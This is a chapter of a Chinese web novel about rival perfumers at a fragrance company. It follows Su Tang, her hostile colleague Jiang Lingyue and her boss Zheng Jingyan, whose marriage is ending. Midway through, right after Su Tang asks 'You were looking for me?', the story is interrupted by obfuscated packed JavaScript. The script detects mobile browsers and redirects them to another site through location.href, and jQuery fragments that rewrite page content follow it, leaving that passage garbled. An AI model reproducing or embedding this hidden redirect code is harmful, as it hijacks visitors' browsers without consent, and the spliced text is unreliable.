从美国回来，苏棠就回铭雅办公了。黎恒一再表达反对，也于事无补。


    回去的第一天，苏棠正在调香室收拾东西，远远就听到了蒋灵悦嘎达嘎达的高跟鞋渐行渐近。


    等脚步声安静下来时，蒋灵悦已经站在苏棠面前了，她倚靠门框双手交叉抱在胸前：“你在廷玉工作的很投入啊？”


    苏棠抬眼看了看她，没说话，继续清点各种香料瓶。


    蒋灵悦最讨厌苏棠这幅完全忽略自己的样子，开口质问：“我说话你听没听见。”


    苏棠低着头，连眼神都懒得给她，直截了当的说：“你有事儿吗？没事儿就从外面关上门，谢谢。”


    “上个月廷玉的香水业绩，你功不可没啊！”蒋灵悦声音很有穿透力，振得苏棠耳中一阵嗡鸣。


    听到“廷玉”两个字，苏棠顿了顿，终于抬起头：“是吗？我只是做了份内之事。”


    说罢，苏棠吹了吹笔记本上轻浮的灰尘。


    “阿嚏！”蒋灵悦打了个喷嚏，“你是故意的！你调的香型为什么不经过我同意直接就交给了廷玉？”


    “拟定的开发方案中，没有任何一条提到，我调制的香水在移交给廷玉之前要征得你的同意。”苏棠定睛看了看她，“还有你说什么事故意的？”


    “你！”蒋灵悦气狠了，伸手就想打人。


    苏棠抬手握住了她的手腕：“一天之际在于晨，做点有意义的事情不好吗？你为什么非要找我麻烦？””


    “蒋灵悦，到我办公室来一下。”郑京言隔着老远喊道。助理刚刚汇报工作时，顺带提了一句蒋灵悦来了，他就大约猜到了她会去找苏棠的麻烦。


    蒋灵悦狠狠盯了苏棠一眼，留下句“这事儿没完”后，就极不情愿的转身，踩着她的高跟鞋嘎达嘎达的离开了。


    郑京言面对窗外坐着，听到蒋灵悦进来了，转过身来对她说：“你为什么又找苏棠的麻烦，之前不是答应了，分给你我销售额的1%作为交换。怎么，这么快就反悔了？”


    蒋灵悦不懈的轻哼一声：“我真是好奇，你为什么这么维护她？”


    郑京言将手里拿着闻香试纸放在桌上，想了想，轻描淡写地答到：“她能带给我的销售额增量远不止于分给你的1%。”


    “你凭什么这么笃定？我也没见她调出什么惊世之作。”蒋灵悦质疑道。


    “从我第一次闻到她调的小样开始，我就能笃定。”郑京言把闻香试纸拿起递给蒋灵悦：“这是她给廷玉的调的主香。天赋这件事，从来就没什么公平可言。”


    蒋灵悦闻了闻，确实很好闻，但是她并没觉得有什么惊艳的地方：“我没闻出来有什么特别的，不过也更好奇了，既然你这么看好她，为什么还让她去廷玉？”


    “我觉得你不会不知道她跟廷玉黎恒的关系吧。”郑京言轻笑：“与句话叫‘玉成其美’，我成全她，她才会成全我。”


    郑京言又补充了句：“我没猜错的话，你对她的各种排挤也是源于黎恒吧”


    “对，我就是要找个即帅又有钱，还能在事业上扶持我的人，黎恒是最佳人员选。你能成全她，为什么不能成全我？”


    郑京言笑起来：“蒋小姐，你未免太高估我了吧。他俩，我不过顺水推舟。更何况我连自己的感情生活都左右不了，你的，我就更帮不上了。”


    蒋灵悦顿了顿，低声问了句：“你跟我姐真的要离了？”


    郑京言深呼一口气：“已经在走程序了。”


    “我觉得我姐还爱你。真的没有挽回的余地了吗？”蒋灵悦问。


    郑京言笑了笑：“你还太小，不明白什么是爱。”


    “我什么都懂，你们男人都一样，新鲜感过了就不爱了，不爱了就要分开。我爸是这样，你也是这样，都是一样的。”


    “不是新鲜感过了就不爱了，而是年龄越大越明白自己爱的究竟是什么，爱也不一定非要得到，但绝对不想再继续将就。”郑京言看着手里的闻香试纸，说话的语气极为平和。


    “说的你很老一样，你多老？你还不到30岁。”蒋灵悦对郑京言有出于对姐夫的尊重，但更多的是出于对一个成年男性的赞赏。


    郑京言不想继续这个话题，蒋灵悦不会明白，他更没必要向谁解释什么，他看了看腕表：“行了，我还有别的事情，你先回去吧。”


    蒋灵悦轻哼一声：“是要安抚你的摇钱树吧？”


    “你猜对了。”郑京言起身，开门送客。


    郑京言的妻子是蒋灵悦的堂姐蒋会珊，两姐妹虽相差四岁，但相处融洽。只是堂姐一直在法国生活，联系的少了些。


    郑京言和蒋会珊的相识是在法国，那时候郑京言在法国读研究生，蒋会珊也才二十出头。


    最开始相识是在公园，郑京言远远看到，蒋会珊把一整瓶香水洒在草地上，小臂撑在地上，半仰躺着晒太阳，长发如瀑布垂落，伴着草香，在阳光下如仙女一般。她晒了一天的太阳，他就远远的看了她一天。那一天就像一辈子那么长，他觉得眼前的人就是他要与之共度一生的人。


    后来他通过各种朋友、各种渠道，打听到公园里的女孩叫蒋会珊。两人相约吃了一顿饭算是第一次正式相识。从相识到相恋他们只用了三天，从相恋到结婚他们只用了三个月。


    随着多巴胺分泌高潮的逐渐褪去，他渐渐发现，他的妻子蒋会珊，仿佛越来越偏离，那个自己在公园里偶遇的蒋会珊。


    她从不晒太阳；她喷的香水都是极贵的大牌香水，喷的时候也只会往自己衣服上喷；她也不爱去户外；每次出门都要涂上厚厚的防晒，带上全套的物理防晒装备；她喜欢参加各种各样的社交派对，说着各种各样无聊、讨好、故作高雅的话。


    后来郑京言毕业后就选择了回国发展，工作生活的重心逐渐转向国内，他曾经也是这修复两人的关系，提议一起回国，可蒋会珊却并不想来中国，两人就处于半分居状态。


    再后来朋友提示他，蒋会珊跟一个叫顾思卿的小开关系非比寻常，让他多加留意。


    郑京言知道后非但没有生气，反而觉得是种解脱——终于可以从这段不愉快的关系中解脱出来了。


    于是两人正式开始谈离婚的事儿。


    郑京言的律师建议他将蒋会珊出轨的事情作为筹码，谋求更多的利益，一是因为取证并不难，二是两人结婚后郑京言事业顺遂，婚后共同财产也颇丰。


    郑京言认真的考虑过律师的建议，但每每想到初见她时，她躺在公园晒太阳的那一幕，他就心软了。他不想让她难堪，更不想打碎初见时的那个美梦。


    苏棠的敲门声把郑京言的思绪拉回到现实。


    “你找我？”苏棠问。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488586|166947||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“对，坐吧。”郑京言指了指办公桌前的椅子。


    苏棠坐下，郑京言十指交叉，放在办公桌上：“廷玉的的几款香我都闻了，非常惊艳，远比你面试时候的小样好太多了。”


    苏棠笑：“当时那个香水式样，就是我随手调的，面试通知比较突然，也没怎么准备。”


    郑京言挑了下眉：“天赋秉异的人都是这么自夸的吗？”


    “啊？我没这个意思。”苏棠有点不好意思了。


    郑京言笑：“主要想跟你沟通一下，希望你还是能调出一款新的香，参加“未完待续”主香的角逐。”


    苏棠有些犹豫，毕竟时间上有些太仓促。


    郑京言看出了苏棠的迟疑：“定案会可以推迟，时间上完全不用担心，按照你的节奏来。”


    “这样不太好吧，所有环节都会怠工。”苏棠迟疑的说。


    “你的香值得。”郑京言从办公桌的抽屉里拿出一个晶莹剔透的三角形水晶瓶递给苏棠，“试样瓶我都准备好了。”


    水晶瓶通体呈淡粉色，造型是锥形，但是表面为多楞切割，每个切割面都折射出不一样的光彩，熠熠生辉，晶莹剔透。


    苏棠看着瓶子，难以抑制的喜欢之情：“太漂亮了！这个瓶子真的太漂亮了。”


    郑京言见苏棠喜欢，也十分满意：“看来我的激励措施还是挺有效的。以后每次你调制完成一个香型，我就送你一个瓶子，用来装你的下一个香型式样，如何？”


    苏棠还在仔细观摩手里的香水瓶，她突然想到了什么，抬眸对郑京言说：“可不可以集齐一定数量后，兑换一个限量版？”


    郑京言笑：“没问题，等限量版集齐一定数量，还可以兑换典藏版，保证让你满意。”


    苏棠也咯咯笑起来：“郑京言，你是不是学过什么看穿人心的技能，让你的下属都乖乖为你效命？”


    “我确实学过几招，但还没派的上用场。”郑京言一本正经的回答。


    苏棠笑意盎然：“聪明绝顶的人都是这么自夸的吗？”


    郑京言解释：“这是陈述事实。”


    “还有个事情。”郑京言想了想开始开了口，虽然这么问有些唐突，但是苏棠调的香实在太特殊了，“你还记不记得之前我给你提过一个小众沙龙品牌，叫Levent，你……之前在那工作过……或者跟他们的调香师相熟？”


    苏棠脸上的笑意渐褪：“怎么说？”


    “你的香，跟他们的香，有种……我说不太清楚，但总觉得有种天然的联系，具体是香料相似、还是香调衔接相似、或者是调香的思路相似，我说不好，当然，没有的话，你就当我没提过。”


    苏棠想了片刻，坦荡回答：“levent以前是我的。”


    郑京言呆滞片刻后恍然，他轻点了点头，示意明白了。


    苏棠说完冲郑京言笑了笑：“那我先回去了。”


    说完便转身离开了。


    郑京言望着苏棠的背影，心情十分复杂。过去的记忆又涌上心头，他想到当年蒋会珊在公园撒的整整一瓶香水。


    那天，待蒋会珊离开后，郑京言坐在她坐的那片草地上，待了很久，试图将那个味道复刻到记忆里。后来他几乎跑遍了巴黎的所有香水沙龙，最终在levent找到了水之月——与记忆中的香味完美的重叠在了一起。